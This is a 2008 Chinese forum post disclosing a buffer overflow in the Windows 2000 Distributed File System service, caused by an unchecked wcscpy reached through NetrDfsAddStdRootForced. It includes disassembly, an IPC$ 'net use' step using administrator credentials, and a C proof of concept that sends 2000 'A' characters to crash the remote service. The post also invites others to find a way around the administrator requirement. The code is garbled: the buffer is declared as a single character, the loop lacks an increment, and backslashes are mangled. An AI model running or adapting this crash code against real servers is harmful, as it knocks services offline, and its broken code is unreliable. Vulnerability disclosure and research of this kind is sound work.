忧郁西西 发表于 2008-12-10 09:56:41

Distributed File System服务远程问题

<br>  <b>1.前言:</b><br>  <br>  最近在windows 2000 advanced server下研究Distributed File System服务的时候,在当中一个函数发现一个溢出,经过测试,发现需要远程通过目标机的管理员组成员和Distributed File System服务建立name pipe,才能发生溢出,不知道这样的问题,属于不属于安全漏洞呢?<br>  <br>  今天决定发出来给大家共同研究一下,说不定有可能其他高手发现不需要通过目标机的管理员组成员权限来进行溢出,那这个就算真正的安全问题了,而且危害性肯定也强了。<br>  <br>  <b>2.问题细节</b>:<br>  <br>  这个溢出问题,是发生在Distributed File System服务里面的NetrDfsAddStdRootForced函数在处理第四个参数上面,这个第四个参数是会作为第五个参数传递给SetupStdDfs的,在这个函数里面调用wcscpy,问题出在这里没有进行边界检查,导致溢出的代码如下:<br>  <br>  NetrDfsAddStdRootForced函数<br>  ...............<br>  .text:0100A2B5         mov   edi, <br>  .text:0100A2B8         test   edi, edi<br>  .text:0100A2AF          jz    loc_100A373<br>  ...............<br>  .text:0100A31F         push   edi<br>  .text:0100A320         push   1<br>  .text:0100A322         push   <br>  .text:0100A325         lea   eax, <br>  .text:0100A32B         push   <br>  .text:0100A32E         push   eax<br>  .text:0100A32F         call   SetupStdDfs<br>  ...............<br>  SetupStdDfs函数<br>  .text:01007FB4         push   ebp<br>  .text:01007FB5         mov   ebp, esp<br>  .text:01007FB7         sub   esp, 658h<br>  .text:01007FBD         push   ebx<br>  .text:01007FBE         mov   ebx, ds:wcscpy<br>  .text:01007FC4         push   esi<br>  .text:01007FC5         push   edi<br>  .text:01007FC6         xor   esi, esi<br>  .text:01007FC8         xor   edi, edi<br>  .text:01007FCA         cmp   , esi<br>  .text:01007FCD         jnz   short loc_1007FE2<br>  ...............<br>  .text:01007FE2 loc_1007FE2:<br>  .text:01007FE2         push   <br>  .text:01007FE5         lea   eax, <br>  .text:01007FEB         push   eax<br>  .text:01007FEC         call   ebx ; wcscpy<br>  <br>  调用流程为:<br>  <br>  NetrDfsAddStdRootForced->SetupStdDfs->wcscpy<br>  <br>  <b>3.溢出测试方法:</b><br>  <br>  (1).先使用目标机器的管理员组成员建立一个ipc$连接net use \目标机器ipipc$ 管理员组成员密码 /user:管理员组成员账号<br>  <br>  (2).使用如下测试代码测试:<br>  #include &lt;stdio.h><br>  #include &lt;stdlib.h><br>  #include &lt;windows.h><br>  #include &lt;Lm.h><br>  #include &lt;Lmdfs.h><br>  <br>  #pragma comment(lib, "Netapi32.lib")<br>  <br>  int main (void)<br>  { wchar_t a[]=L"\\ip\"; //把ip替换为你的目标机器ip<br>  wchar_t b;<br>  LPWSTR ServerName=a;<br>  LPWSTR RootShare=L"fzk";<br>  LPWSTR Comment=L"fzk";<br>  LPWSTR Store;<br>  int i;<br>  <br>  for (i = 0; i&lt; 2000;i)<br>  wcscat(b, L"A");<br>  <br>  Store = b;<br>  <br>  if( NetDfsAddStdRootForced( ServerName, RootShare, Comment, Store) == NERR_Success)<br>  return TRUE;<br>  <br>  else<br>  return FALSE;}<br>  <br>  把以上代码存为test.cpp,运行cl test.cpp编译,然后执行test.exe,到这里应该目标机器的Distributed File System服务已经down掉了。<br>  <br>  <b>4.附加信息:</b><br>  <br>  在MSDN发现NetDfsAddStdRootForced API在windows 2003已经被弃用了Distributed File System服务在windows 2000服务器下面是默认开放的。 <
页: [1]
查看完整版本: Distributed File System服务远程问题